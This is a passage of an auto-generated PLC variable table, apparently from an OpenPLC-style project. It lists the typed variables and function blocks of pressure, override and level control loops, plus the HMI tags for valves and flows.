+210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; 